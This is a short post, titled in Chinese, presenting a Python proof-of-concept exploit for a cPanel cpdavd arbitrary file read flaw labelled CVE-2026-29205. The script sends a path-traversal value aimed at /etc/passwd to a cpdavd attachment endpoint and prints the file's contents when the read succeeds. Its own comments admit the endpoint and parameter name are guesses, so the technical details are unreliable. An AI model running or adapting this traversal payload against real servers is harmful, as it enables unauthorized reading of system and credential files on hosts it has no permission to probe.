CVE-2026-29205 cPanel cpdavd任意文件读取漏洞

import requests # PoC for CVE-2026-29205: cPanel cpdavd Arbitrary File Read # Author: Security Analyst # Target configuration (Replace with actual vulnerable host) target_host = "http://target-cpanel-server:2082" malicious_file = "../../../../etc/passwd" # The vulnerable endpoint is related to cpdavd attachment download # Based on the description, the path filtering is insufficient url = f"{target_host}/cpdavd/attachment" # Attempting to read a sensitive file using path traversal params = { "file": malicious_file # Parameter name might vary based on actual implementation } try: response = requests.get(url, params=params, timeout=10) if response.status_code == 200 and "root:x" in response.text: print("[+] Exploit successful! Arbitrary file read confirmed.") print("[+] File content:") print(response.text) else: print("[-] Exploit failed or target is patched.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"Error: {e}")